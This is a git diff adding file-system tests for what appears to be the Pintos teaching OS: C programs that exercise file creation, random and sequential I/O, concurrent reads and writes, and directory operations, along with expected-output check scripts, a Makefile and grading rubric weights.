+
+#define BLOCK_SIZE 512
+#define TEST_SIZE (512 * 150)
+#include "tests/filesys/base/random.inc"
diff --git a/src/tests/filesys/base/lg-random.ck b/src/tests/filesys/base/lg-random.ck
new file mode 100644
index 0000000..dd9f1dd
--- /dev/null
+++ b/src/tests/filesys/base/lg-random.ck
@@ -0,0 +1,14 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(lg-random) begin
+(lg-random) create "bazzle"
+(lg-random) open "bazzle"
+(lg-random) write "bazzle" in random order
+(lg-random) read "bazzle" in random order
+(lg-random) close "bazzle"
+(lg-random) end
+EOF
+pass;
diff --git a/src/tests/filesys/base/lg-seq-block.c b/src/tests/filesys/base/lg-seq-block.c
new file mode 100644
index 0000000..580c30b
--- /dev/null
+++ b/src/tests/filesys/base/lg-seq-block.c
@@ -0,0 +1,7 @@
+/* Writes out a fairly large file sequentially, one fixed-size
+ block at a time, then reads it back to verify that it was
+ written properly. */
+
+#define TEST_SIZE 75678
+#define BLOCK_SIZE 513
+#include "tests/filesys/base/seq-block.inc"
diff --git a/src/tests/filesys/base/lg-seq-block.ck b/src/tests/filesys/base/lg-seq-block.ck
new file mode 100644
index 0000000..b789081
--- /dev/null
+++ b/src/tests/filesys/base/lg-seq-block.ck
@@ -0,0 +1,16 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(lg-seq-block) begin
+(lg-seq-block) create "noodle"
+(lg-seq-block) open "noodle"
+(lg-seq-block) writing "noodle"
+(lg-seq-block) close "noodle"
+(lg-seq-block) open "noodle" for verification
+(lg-seq-block) verified contents of "noodle"
+(lg-seq-block) close "noodle"
+(lg-seq-block) end
+EOF
+pass;
diff --git a/src/tests/filesys/base/lg-seq-random.c b/src/tests/filesys/base/lg-seq-random.c
new file mode 100644
index 0000000..fbb6bba
--- /dev/null
+++ b/src/tests/filesys/base/lg-seq-random.c
@@ -0,0 +1,6 @@
+/* Writes out a fairly large file sequentially, one random-sized
+ block at a time, then reads it back to verify that it was
+ written properly. */
+
+#define TEST_SIZE 75678
+#include "tests/filesys/base/seq-random.inc"
diff --git a/src/tests/filesys/base/lg-seq-random.ck b/src/tests/filesys/base/lg-seq-random.ck
new file mode 100644
index 0000000..6b2dc82
--- /dev/null
+++ b/src/tests/filesys/base/lg-seq-random.ck
@@ -0,0 +1,16 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(lg-seq-random) begin
+(lg-seq-random) create "nibble"
+(lg-seq-random) open "nibble"
+(lg-seq-random) writing "nibble"
+(lg-seq-random) close "nibble"
+(lg-seq-random) open "nibble" for verification
+(lg-seq-random) verified contents of "nibble"
+(lg-seq-random) close "nibble"
+(lg-seq-random) end
+EOF
+pass;
diff --git a/src/tests/filesys/base/random.inc b/src/tests/filesys/base/random.inc
new file mode 100644
index 0000000..eeeea68
--- /dev/null
+++ b/src/tests/filesys/base/random.inc
@@ -0,0 +1,59 @@
+/* -*- c -*- */
+
+#include <random.h>
+#include <stdio.h>
+#include <string.h>
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+#if TEST_SIZE % BLOCK_SIZE != 0
+#error TEST_SIZE must be a multiple of BLOCK_SIZE
+#endif
+
+#define BLOCK_CNT (TEST_SIZE / BLOCK_SIZE)
+
+char buf[TEST_SIZE];
+int order[BLOCK_CNT];
+
+void
+test_main (void)
+{
+ const char *file_name = "bazzle";
+ int fd;
+ size_t i;
+
+ random_init (57);
+ random_bytes (buf, sizeof buf);
+
+ for (i = 0; i < BLOCK_CNT; i++)
+ order[i] = i;
+
+ CHECK (create (file_name, TEST_SIZE), "create \"%s\"", file_name);
+ CHECK ((fd = open (file_name)) > 1, "open \"%s\"", file_name);
+
+ msg ("write \"%s\" in random order", file_name);
+ shuffle (order, BLOCK_CNT, sizeof *order);
+ for (i = 0; i < BLOCK_CNT; i++)
+ {
+ size_t ofs = BLOCK_SIZE * order[i];
+ seek (fd, ofs);
+ if (write (fd, buf + ofs, BLOCK_SIZE) != BLOCK_SIZE)
+ fail ("write %d bytes at offset %zu failed", (int) BLOCK_SIZE, ofs);
+ }
+
+ msg ("read \"%s\" in random order", file_name);
+ shuffle (order, BLOCK_CNT, sizeof *order);
+ for (i = 0; i < BLOCK_CNT; i++)
+ {
+ char block[BLOCK_SIZE];
+ size_t ofs = BLOCK_SIZE * order[i];
+ seek (fd, ofs);
+ if (read (fd, block, BLOCK_SIZE) != BLOCK_SIZE)
+ fail ("read %d bytes at offset %zu failed", (int) BLOCK_SIZE, ofs);
+ compare_bytes (block, buf + ofs, BLOCK_SIZE, ofs, file_name);
+ }
+
+ msg ("close \"%s\"", file_name);
+ close (fd);
+}
diff --git a/src/tests/filesys/base/seq-block.inc b/src/tests/filesys/base/seq-block.inc
new file mode 100644
index 0000000..d4c1f57
--- /dev/null
+++ b/src/tests/filesys/base/seq-block.inc
@@ -0,0 +1,20 @@
+/* -*- c -*- */
+
+#include "tests/filesys/seq-test.h"
+#include "tests/main.h"
+
+static char buf[TEST_SIZE];
+
+static size_t
+return_block_size (void)
+{
+ return BLOCK_SIZE;
+}
+
+void
+test_main (void)
+{
+ seq_test ("noodle",
+ buf, sizeof buf, sizeof buf,
+ return_block_size, NULL);
+}
diff --git a/src/tests/filesys/base/seq-random.inc b/src/tests/filesys/base/seq-random.inc
new file mode 100644
index 0000000..a4da4c5
--- /dev/null
+++ b/src/tests/filesys/base/seq-random.inc
@@ -0,0 +1,22 @@
+/* -*- c -*- */
+
+#include <random.h>
+#include "tests/filesys/seq-test.h"
+#include "tests/main.h"
+
+static char buf[TEST_SIZE];
+
+static size_t
+return_random (void)
+{
+ return random_ulong () % 1031 + 1;
+}
+
+void
+test_main (void)
+{
+ random_init (-1);
+ seq_test ("nibble",
+ buf, sizeof buf, sizeof buf,
+ return_random, NULL);
+}
diff --git a/src/tests/filesys/base/sm-create.c b/src/tests/filesys/base/sm-create.c
new file mode 100644
index 0000000..6b97ac1
--- /dev/null
+++ b/src/tests/filesys/base/sm-create.c
@@ -0,0 +1,5 @@
+/* Tests that create properly zeros out the contents of a fairly
+ small file. */
+
+#define TEST_SIZE 5678
+#include "tests/filesys/create.inc"
diff --git a/src/tests/filesys/base/sm-create.ck b/src/tests/filesys/base/sm-create.ck
new file mode 100644
index 0000000..8ca80dc
--- /dev/null
+++ b/src/tests/filesys/base/sm-create.ck
@@ -0,0 +1,13 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(sm-create) begin
+(sm-create) create "blargle"
+(sm-create) open "blargle" for verification
+(sm-create) verified contents of "blargle"
+(sm-create) close "blargle"
+(sm-create) end
+EOF
+pass;
diff --git a/src/tests/filesys/base/sm-full.c b/src/tests/filesys/base/sm-full.c
new file mode 100644
index 0000000..23ff3d4
--- /dev/null
+++ b/src/tests/filesys/base/sm-full.c
@@ -0,0 +1,6 @@
+/* Writes out the contents of a fairly small file all at once,
+ and then reads it back to make sure that it was written
+ properly. */
+
+#define TEST_SIZE 5678
+#include "tests/filesys/base/full.inc"
diff --git a/src/tests/filesys/base/sm-full.ck b/src/tests/filesys/base/sm-full.ck
new file mode 100644
index 0000000..2e0eb36
--- /dev/null
+++ b/src/tests/filesys/base/sm-full.ck
@@ -0,0 +1,16 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(sm-full) begin
+(sm-full) create "quux"
+(sm-full) open "quux"
+(sm-full) writing "quux"
+(sm-full) close "quux"
+(sm-full) open "quux" for verification
+(sm-full) verified contents of "quux"
+(sm-full) close "quux"
+(sm-full) end
+EOF
+pass;
diff --git a/src/tests/filesys/base/sm-random.c b/src/tests/filesys/base/sm-random.c
new file mode 100644
index 0000000..42d670f
--- /dev/null
+++ b/src/tests/filesys/base/sm-random.c
@@ -0,0 +1,7 @@
+/* Writes out the content of a fairly small file in random order,
+ then reads it back in random order to verify that it was
+ written properly. */
+
+#define BLOCK_SIZE 13
+#define TEST_SIZE (13 * 123)
+#include "tests/filesys/base/random.inc"
diff --git a/src/tests/filesys/base/sm-random.ck b/src/tests/filesys/base/sm-random.ck
new file mode 100644
index 0000000..bda049d
--- /dev/null
+++ b/src/tests/filesys/base/sm-random.ck
@@ -0,0 +1,14 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(sm-random) begin
+(sm-random) create "bazzle"
+(sm-random) open "bazzle"
+(sm-random) write "bazzle" in random order
+(sm-random) read "bazzle" in random order
+(sm-random) close "bazzle"
+(sm-random) end
+EOF
+pass;
diff --git a/src/tests/filesys/base/sm-seq-block.c b/src/tests/filesys/base/sm-seq-block.c
new file mode 100644
index 0000000..e368327
--- /dev/null
+++ b/src/tests/filesys/base/sm-seq-block.c
@@ -0,0 +1,7 @@
+/* Writes out a fairly small file sequentially, one fixed-size
+ block at a time, then reads it back to verify that it was
+ written properly. */
+
+#define TEST_SIZE 5678
+#define BLOCK_SIZE 513
+#include "tests/filesys/base/seq-block.inc"
diff --git a/src/tests/filesys/base/sm-seq-block.ck b/src/tests/filesys/base/sm-seq-block.ck
new file mode 100644
index 0000000..0e2939d
--- /dev/null
+++ b/src/tests/filesys/base/sm-seq-block.ck
@@ -0,0 +1,16 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(sm-seq-block) begin
+(sm-seq-block) create "noodle"
+(sm-seq-block) open "noodle"
+(sm-seq-block) writing "noodle"
+(sm-seq-block) close "noodle"
+(sm-seq-block) open "noodle" for verification
+(sm-seq-block) verified contents of "noodle"
+(sm-seq-block) close "noodle"
+(sm-seq-block) end
+EOF
+pass;
diff --git a/src/tests/filesys/base/sm-seq-random.c b/src/tests/filesys/base/sm-seq-random.c
new file mode 100644
index 0000000..89e5b71
--- /dev/null
+++ b/src/tests/filesys/base/sm-seq-random.c
@@ -0,0 +1,6 @@
+/* Writes out a fairly large file sequentially, one random-sized
+ block at a time, then reads it back to verify that it was
+ written properly. */
+
+#define TEST_SIZE 5678
+#include "tests/filesys/base/seq-random.inc"
diff --git a/src/tests/filesys/base/sm-seq-random.ck b/src/tests/filesys/base/sm-seq-random.ck
new file mode 100644
index 0000000..2fb368b
--- /dev/null
+++ b/src/tests/filesys/base/sm-seq-random.ck
@@ -0,0 +1,16 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(sm-seq-random) begin
+(sm-seq-random) create "nibble"
+(sm-seq-random) open "nibble"
+(sm-seq-random) writing "nibble"
+(sm-seq-random) close "nibble"
+(sm-seq-random) open "nibble" for verification
+(sm-seq-random) verified contents of "nibble"
+(sm-seq-random) close "nibble"
+(sm-seq-random) end
+EOF
+pass;
diff --git a/src/tests/filesys/base/syn-read.c b/src/tests/filesys/base/syn-read.c
new file mode 100644
index 0000000..7c36a42
--- /dev/null
+++ b/src/tests/filesys/base/syn-read.c
@@ -0,0 +1,31 @@
+/* Spawns 10 child processes, all of which read from the same
+ file and make sure that the contents are what they should
+ be. */
+
+#include <random.h>
+#include <stdio.h>
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+#include "tests/filesys/base/syn-read.h"
+
+static char buf[BUF_SIZE];
+
+#define CHILD_CNT 10
+
+void
+test_main (void)
+{
+ pid_t children[CHILD_CNT];
+ int fd;
+
+ CHECK (create (file_name, sizeof buf), "create \"%s\"", file_name);
+ CHECK ((fd = open (file_name)) > 1, "open \"%s\"", file_name);
+ random_bytes (buf, sizeof buf);
+ CHECK (write (fd, buf, sizeof buf) > 0, "write \"%s\"", file_name);
+ msg ("close \"%s\"", file_name);
+ close (fd);
+
+ exec_children ("child-syn-read", children, CHILD_CNT);
+ wait_children (children, CHILD_CNT);
+}
diff --git a/src/tests/filesys/base/syn-read.ck b/src/tests/filesys/base/syn-read.ck
new file mode 100644
index 0000000..e2f68e8
--- /dev/null
+++ b/src/tests/filesys/base/syn-read.ck
@@ -0,0 +1,33 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(syn-read) begin
+(syn-read) create "data"
+(syn-read) open "data"
+(syn-read) write "data"
+(syn-read) close "data"
+(syn-read) exec child 1 of 10: "child-syn-read 0"
+(syn-read) exec child 2 of 10: "child-syn-read 1"
+(syn-read) exec child 3 of 10: "child-syn-read 2"
+(syn-read) exec child 4 of 10: "child-syn-read 3"
+(syn-read) exec child 5 of 10: "child-syn-read 4"
+(syn-read) exec child 6 of 10: "child-syn-read 5"
+(syn-read) exec child 7 of 10: "child-syn-read 6"
+(syn-read) exec child 8 of 10: "child-syn-read 7"
+(syn-read) exec child 9 of 10: "child-syn-read 8"
+(syn-read) exec child 10 of 10: "child-syn-read 9"
+(syn-read) wait for child 1 of 10 returned 0 (expected 0)
+(syn-read) wait for child 2 of 10 returned 1 (expected 1)
+(syn-read) wait for child 3 of 10 returned 2 (expected 2)
+(syn-read) wait for child 4 of 10 returned 3 (expected 3)
+(syn-read) wait for child 5 of 10 returned 4 (expected 4)
+(syn-read) wait for child 6 of 10 returned 5 (expected 5)
+(syn-read) wait for child 7 of 10 returned 6 (expected 6)
+(syn-read) wait for child 8 of 10 returned 7 (expected 7)
+(syn-read) wait for child 9 of 10 returned 8 (expected 8)
+(syn-read) wait for child 10 of 10 returned 9 (expected 9)
+(syn-read) end
+EOF
+pass;
diff --git a/src/tests/filesys/base/syn-read.h b/src/tests/filesys/base/syn-read.h
new file mode 100644
index 0000000..bff8082
--- /dev/null
+++ b/src/tests/filesys/base/syn-read.h
@@ -0,0 +1,7 @@
+#ifndef TESTS_FILESYS_BASE_SYN_READ_H
+#define TESTS_FILESYS_BASE_SYN_READ_H
+
+#define BUF_SIZE 1024
+static const char file_name[] = "data";
+
+#endif /* tests/filesys/base/syn-read.h */
diff --git a/src/tests/filesys/base/syn-remove.c b/src/tests/filesys/base/syn-remove.c
new file mode 100644
index 0000000..c9ba110
--- /dev/null
+++ b/src/tests/filesys/base/syn-remove.c
@@ -0,0 +1,30 @@
+/* Verifies that a deleted file may still be written to and read
+ from. */
+
+#include <random.h>
+#include <string.h>
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+char buf1[1234];
+char buf2[1234];
+
+void
+test_main (void)
+{
+ const char *file_name = "deleteme";
+ int fd;
+
+ CHECK (create (file_name, sizeof buf1), "create \"%s\"", file_name);
+ CHECK ((fd = open (file_name)) > 1, "open \"%s\"", file_name);
+ CHECK (remove (file_name), "remove \"%s\"", file_name);
+ random_bytes (buf1, sizeof buf1);
+ CHECK (write (fd, buf1, sizeof buf1) > 0, "write \"%s\"", file_name);
+ msg ("seek \"%s\" to 0", file_name);
+ seek (fd, 0);
+ CHECK (read (fd, buf2, sizeof buf2) > 0, "read \"%s\"", file_name);
+ compare_bytes (buf2, buf1, sizeof buf1, 0, file_name);
+ msg ("close \"%s\"", file_name);
+ close (fd);
+}
diff --git a/src/tests/filesys/base/syn-remove.ck b/src/tests/filesys/base/syn-remove.ck
new file mode 100644
index 0000000..16ff11e
--- /dev/null
+++ b/src/tests/filesys/base/syn-remove.ck
@@ -0,0 +1,16 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(syn-remove) begin
+(syn-remove) create "deleteme"
+(syn-remove) open "deleteme"
+(syn-remove) remove "deleteme"
+(syn-remove) write "deleteme"
+(syn-remove) seek "deleteme" to 0
+(syn-remove) read "deleteme"
+(syn-remove) close "deleteme"
+(syn-remove) end
+EOF
+pass;
diff --git a/src/tests/filesys/base/syn-write.c b/src/tests/filesys/base/syn-write.c
new file mode 100644
index 0000000..1439862
--- /dev/null
+++ b/src/tests/filesys/base/syn-write.c
@@ -0,0 +1,31 @@
+/* Spawns several child processes to write out different parts of
+ the contents of a file and waits for them to finish. Then
+ reads back the file and verifies its contents. */
+
+#include <random.h>
+#include <stdio.h>
+#include <string.h>
+#include <syscall.h>
+#include "tests/filesys/base/syn-write.h"
+#include "tests/lib.h"
+#include "tests/main.h"
+
+char buf1[BUF_SIZE];
+char buf2[BUF_SIZE];
+
+void
+test_main (void)
+{
+ pid_t children[CHILD_CNT];
+ int fd;
+
+ CHECK (create (file_name, sizeof buf1), "create \"%s\"", file_name);
+
+ exec_children ("child-syn-wrt", children, CHILD_CNT);
+ wait_children (children, CHILD_CNT);
+
+ CHECK ((fd = open (file_name)) > 1, "open \"%s\"", file_name);
+ CHECK (read (fd, buf1, sizeof buf1) > 0, "read \"%s\"", file_name);
+ random_bytes (buf2, sizeof buf2);
+ compare_bytes (buf1, buf2, sizeof buf1, 0, file_name);
+}
diff --git a/src/tests/filesys/base/syn-write.ck b/src/tests/filesys/base/syn-write.ck
new file mode 100644
index 0000000..629a7a2
--- /dev/null
+++ b/src/tests/filesys/base/syn-write.ck
@@ -0,0 +1,32 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(syn-write) begin
+(syn-write) create "stuff"
+(syn-write) exec child 1 of 10: "child-syn-wrt 0"
+(syn-write) exec child 2 of 10: "child-syn-wrt 1"
+(syn-write) exec child 3 of 10: "child-syn-wrt 2"
+(syn-write) exec child 4 of 10: "child-syn-wrt 3"
+(syn-write) exec child 5 of 10: "child-syn-wrt 4"
+(syn-write) exec child 6 of 10: "child-syn-wrt 5"
+(syn-write) exec child 7 of 10: "child-syn-wrt 6"
+(syn-write) exec child 8 of 10: "child-syn-wrt 7"
+(syn-write) exec child 9 of 10: "child-syn-wrt 8"
+(syn-write) exec child 10 of 10: "child-syn-wrt 9"
+(syn-write) wait for child 1 of 10 returned 0 (expected 0)
+(syn-write) wait for child 2 of 10 returned 1 (expected 1)
+(syn-write) wait for child 3 of 10 returned 2 (expected 2)
+(syn-write) wait for child 4 of 10 returned 3 (expected 3)
+(syn-write) wait for child 5 of 10 returned 4 (expected 4)
+(syn-write) wait for child 6 of 10 returned 5 (expected 5)
+(syn-write) wait for child 7 of 10 returned 6 (expected 6)
+(syn-write) wait for child 8 of 10 returned 7 (expected 7)
+(syn-write) wait for child 9 of 10 returned 8 (expected 8)
+(syn-write) wait for child 10 of 10 returned 9 (expected 9)
+(syn-write) open "stuff"
+(syn-write) read "stuff"
+(syn-write) end
+EOF
+pass;
diff --git a/src/tests/filesys/base/syn-write.h b/src/tests/filesys/base/syn-write.h
new file mode 100644
index 0000000..07a6d5a
--- /dev/null
+++ b/src/tests/filesys/base/syn-write.h
@@ -0,0 +1,9 @@
+#ifndef TESTS_FILESYS_BASE_SYN_WRITE_H
+#define TESTS_FILESYS_BASE_SYN_WRITE_H
+
+#define CHILD_CNT 10
+#define CHUNK_SIZE 512
+#define BUF_SIZE (CHILD_CNT * CHUNK_SIZE)
+static const char file_name[] = "stuff";
+
+#endif /* tests/filesys/base/syn-write.h */
diff --git a/src/tests/filesys/create.inc b/src/tests/filesys/create.inc
new file mode 100644
index 0000000..4baf771
--- /dev/null
+++ b/src/tests/filesys/create.inc
@@ -0,0 +1,15 @@
+/* -*- c -*- */
+
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+static char buf[TEST_SIZE];
+
+void
+test_main (void)
+{
+ const char *file_name = "blargle";
+ CHECK (create (file_name, TEST_SIZE), "create \"%s\"", file_name);
+ check_file (file_name, buf, TEST_SIZE);
+}
diff --git a/src/tests/filesys/extended/Make.tests b/src/tests/filesys/extended/Make.tests
new file mode 100644
index 0000000..75a872b
--- /dev/null
+++ b/src/tests/filesys/extended/Make.tests
@@ -0,0 +1,61 @@
+# -*- makefile -*-
+
+raw_tests = dir-empty-name dir-mk-tree dir-mkdir dir-open \
+dir-over-file dir-rm-cwd dir-rm-parent dir-rm-root dir-rm-tree \
+dir-rmdir dir-under-file dir-vine grow-create grow-dir-lg \
+grow-file-size grow-root-lg grow-root-sm grow-seq-lg grow-seq-sm \
+grow-sparse grow-tell grow-two-files syn-rw
+
+tests/filesys/extended_TESTS = $(patsubst %,tests/filesys/extended/%,$(raw_tests))
+tests/filesys/extended_EXTRA_GRADES = $(patsubst %,tests/filesys/extended/%-persistence,$(raw_tests))
+
+tests/filesys/extended_PROGS = $(tests/filesys/extended_TESTS) \
+tests/filesys/extended/child-syn-rw tests/filesys/extended/tar
+
+$(foreach prog,$(tests/filesys/extended_PROGS), \
+ $(eval $(prog)_SRC += $(prog).c tests/lib.c tests/filesys/seq-test.c))
+$(foreach prog,$(tests/filesys/extended_TESTS), \
+ $(eval $(prog)_SRC += tests/main.c))
+$(foreach prog,$(tests/filesys/extended_TESTS), \
+ $(eval $(prog)_PUTFILES += tests/filesys/extended/tar))
+# The version of GNU make 3.80 on vine barfs if this is split at
+# the last comma.
+$(foreach test,$(tests/filesys/extended_TESTS),$(eval $(test).output: FSDISK = tmp.dsk))
+
+tests/filesys/extended/dir-mk-tree_SRC += tests/filesys/extended/mk-tree.c
+tests/filesys/extended/dir-rm-tree_SRC += tests/filesys/extended/mk-tree.c
+
+tests/filesys/extended/syn-rw_PUTFILES += tests/filesys/extended/child-syn-rw
+
+tests/filesys/extended/dir-vine.output: TIMEOUT = 150
+
+GETTIMEOUT = 60
+
+GETCMD = pintos -v -k -T $(GETTIMEOUT)
+GETCMD += $(PINTOSOPTS)
+GETCMD += $(SIMULATOR)
+GETCMD += --fs-disk=$(FSDISK)
+GETCMD += -g fs.tar -a $(TEST).tar
+ifeq ($(filter vm, $(KERNEL_SUBDIRS)), vm)
+GETCMD += --swap-disk=4
+endif
+GETCMD += -- -q
+GETCMD += $(KERNELFLAGS)
+GETCMD += run 'tar fs.tar /'
+GETCMD += < /dev/null
+GETCMD += 2> $(TEST)-persistence.errors $(if $(VERBOSE),|tee,>) $(TEST)-persistence.output
+
+tests/filesys/extended/%.output: os.dsk
+ rm -f tmp.dsk
+ pintos-mkdisk tmp.dsk 2
+ $(TESTCMD)
+ $(GETCMD)
+ rm -f tmp.dsk
+$(foreach raw_test,$(raw_tests),$(eval tests/filesys/extended/$(raw_test)-persistence.output: tests/filesys/extended/$(raw_test).output))
+$(foreach raw_test,$(raw_tests),$(eval tests/filesys/extended/$(raw_test)-persistence.result: tests/filesys/extended/$(raw_test).result))
+
+TARS = $(addsuffix .tar,$(tests/filesys/extended_TESTS))
+
+clean::
+ rm -f $(TARS)
+ rm -f tests/filesys/extended/can-rmdir-cwd
diff --git a/src/tests/filesys/extended/Rubric.functionality b/src/tests/filesys/extended/Rubric.functionality
new file mode 100644
index 0000000..91ed6f0
--- /dev/null
+++ b/src/tests/filesys/extended/Rubric.functionality
@@ -0,0 +1,26 @@
+Functionality of extended file system:
+- Test directory support.
+1 dir-mkdir
+3 dir-mk-tree
+
+1 dir-rmdir
+3 dir-rm-tree
+
+5 dir-vine
+
+- Test file growth.
+1 grow-create
+1 grow-seq-sm
+3 grow-seq-lg
+3 grow-sparse
+3 grow-two-files
+1 grow-tell
+1 grow-file-size
+
+- Test directory growth.
+1 grow-dir-lg
+1 grow-root-sm
+1 grow-root-lg
+
+- Test writing from multiple processes.
+5 syn-rw
diff --git a/src/tests/filesys/extended/Rubric.persistence b/src/tests/filesys/extended/Rubric.persistence
new file mode 100644
index 0000000..405620a
--- /dev/null
+++ b/src/tests/filesys/extended/Rubric.persistence
@@ -0,0 +1,24 @@
+Persistence of file system:
+1 dir-empty-name-persistence
+1 dir-mk-tree-persistence
+1 dir-mkdir-persistence
+1 dir-open-persistence
+1 dir-over-file-persistence
+1 dir-rm-cwd-persistence
+1 dir-rm-parent-persistence
+1 dir-rm-root-persistence
+1 dir-rm-tree-persistence
+1 dir-rmdir-persistence
+1 dir-under-file-persistence
+1 dir-vine-persistence
+1 grow-create-persistence
+1 grow-dir-lg-persistence
+1 grow-file-size-persistence
+1 grow-root-lg-persistence
+1 grow-root-sm-persistence
+1 grow-seq-lg-persistence
+1 grow-seq-sm-persistence
+1 grow-sparse-persistence
+1 grow-tell-persistence
+1 grow-two-files-persistence
+1 syn-rw-persistence
diff --git a/src/tests/filesys/extended/Rubric.robustness b/src/tests/filesys/extended/Rubric.robustness
new file mode 100644
index 0000000..fb9f32f
--- /dev/null
+++ b/src/tests/filesys/extended/Rubric.robustness
@@ -0,0 +1,9 @@
+Robustness of file system:
+1 dir-empty-name
+1 dir-open
+1 dir-over-file
+1 dir-under-file
+
+3 dir-rm-cwd
+2 dir-rm-parent
+1 dir-rm-root
diff --git a/src/tests/filesys/extended/child-syn-rw.c b/src/tests/filesys/extended/child-syn-rw.c
new file mode 100644
index 0000000..0e2217d
--- /dev/null
+++ b/src/tests/filesys/extended/child-syn-rw.c
@@ -0,0 +1,53 @@
+/* Child process for syn-rw.
+ Reads from a file created by our parent process, which is
+ growing it. We loop until we've read the whole file
+ successfully. Many iterations through the loop will return 0
+ bytes, because the file has not grown in the meantime. That
+ is, we are "busy waiting" for the file to grow.
+ (This test could be improved by adding a "yield" system call
+ and calling yield whenever we receive a 0-byte read.) */
+
+#include <random.h>
+#include <stdlib.h>
+#include <syscall.h>
+#include "tests/filesys/extended/syn-rw.h"
+#include "tests/lib.h"
+
+const char *test_name = "child-syn-rw";
+
+static char buf1[BUF_SIZE];
+static char buf2[BUF_SIZE];
+
+int
+main (int argc, const char *argv[])
+{
+ int child_idx;
+ int fd;
+ size_t ofs;
+
+ quiet = true;
+
+ CHECK (argc == 2, "argc must be 2, actually %d", argc);
+ child_idx = atoi (argv[1]);
+
+ random_init (0);
+ random_bytes (buf1, sizeof buf1);
+
+ CHECK ((fd = open (file_name)) > 1, "open \"%s\"", file_name);
+ ofs = 0;
+ while (ofs < sizeof buf2)
+ {
+ int bytes_read = read (fd, buf2 + ofs, sizeof buf2 - ofs);
+ CHECK (bytes_read >= -1 && bytes_read <= (int) (sizeof buf2 - ofs),
+ "%zu-byte read on \"%s\" returned invalid value of %d",
+ sizeof buf2 - ofs, file_name, bytes_read);
+ if (bytes_read > 0)
+ {
+ compare_bytes (buf2 + ofs, buf1 + ofs, bytes_read, ofs, file_name);
+ ofs += bytes_read;
+ }
+ }
+ close (fd);
+
+ return child_idx;
+}
diff --git a/src/tests/filesys/extended/dir-empty-name-persistence.ck b/src/tests/filesys/extended/dir-empty-name-persistence.ck
new file mode 100644
index 0000000..562c451
--- /dev/null
+++ b/src/tests/filesys/extended/dir-empty-name-persistence.ck
@@ -0,0 +1,6 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_archive ({});
+pass;
diff --git a/src/tests/filesys/extended/dir-empty-name.c b/src/tests/filesys/extended/dir-empty-name.c
new file mode 100644
index 0000000..c4859d2
--- /dev/null
+++ b/src/tests/filesys/extended/dir-empty-name.c
@@ -0,0 +1,12 @@
+/* Tries to create a directory named as the empty string,
+ which must return failure. */
+
+#include <syscall.h>
+#include "tests/lib.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ CHECK (!mkdir (""), "mkdir \"\" (must return false)");
+}
diff --git a/src/tests/filesys/extended/dir-empty-name.ck b/src/tests/filesys/extended/dir-empty-name.ck
new file mode 100644
index 0000000..d6c5621
--- /dev/null
+++ b/src/tests/filesys/extended/dir-empty-name.ck
@@ -0,0 +1,10 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(dir-empty-name) begin
+(dir-empty-name) mkdir "" (must return false)
+(dir-empty-name) end
+EOF
+pass;
diff --git a/src/tests/filesys/extended/dir-mk-tree-persistence.ck b/src/tests/filesys/extended/dir-mk-tree-persistence.ck
new file mode 100644
index 0000000..fb16afd
--- /dev/null
+++ b/src/tests/filesys/extended/dir-mk-tree-persistence.ck
@@ -0,0 +1,16 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+my ($tree);
+for my $a (0...3) {
+ for my $b (0...2) {
+ for my $c (0...2) {
+ for my $d (0...3) {
+ $tree->{$a}{$b}{$c}{$d} = [''];
+ }
+ }
+ }
+}
+check_archive ($tree);
+pass;
diff --git a/src/tests/filesys/extended/dir-mk-tree.c b/src/tests/filesys/extended/dir-mk-tree.c
new file mode 100644
index 0000000..a714ff3
--- /dev/null
+++ b/src/tests/filesys/extended/dir-mk-tree.c
@@ -0,0 +1,12 @@
+/* Creates directories /0/0/0 through /3/2/2 and creates files in
+ the leaf directories. */
+
+#include "tests/filesys/extended/mk-tree.h"
+#include "tests/main.h"
+
+void
+test_main (void)
+{
+ make_tree (4, 3, 3, 4);
+}
+
diff --git a/src/tests/filesys/extended/dir-mk-tree.ck b/src/tests/filesys/extended/dir-mk-tree.ck
new file mode 100644
index 0000000..a8507e2
--- /dev/null
+++ b/src/tests/filesys/extended/dir-mk-tree.ck
@@ -0,0 +1,12 @@
+# -*- perl -*-
+use strict;
+use warnings;
+use tests::tests;
+check_expected (IGNORE_EXIT_CODES => 1, [<<'EOF']);
+(dir-mk-tree) begin
+(dir-mk-tree) creating /0/0/0/0 through /3/2/2/3...
+(dir-mk-tree) open "/0/2/0/3"
+(dir-mk-tree) close "/0/2/0/3"
+(dir-mk-tree) end
+EOF
+pass;
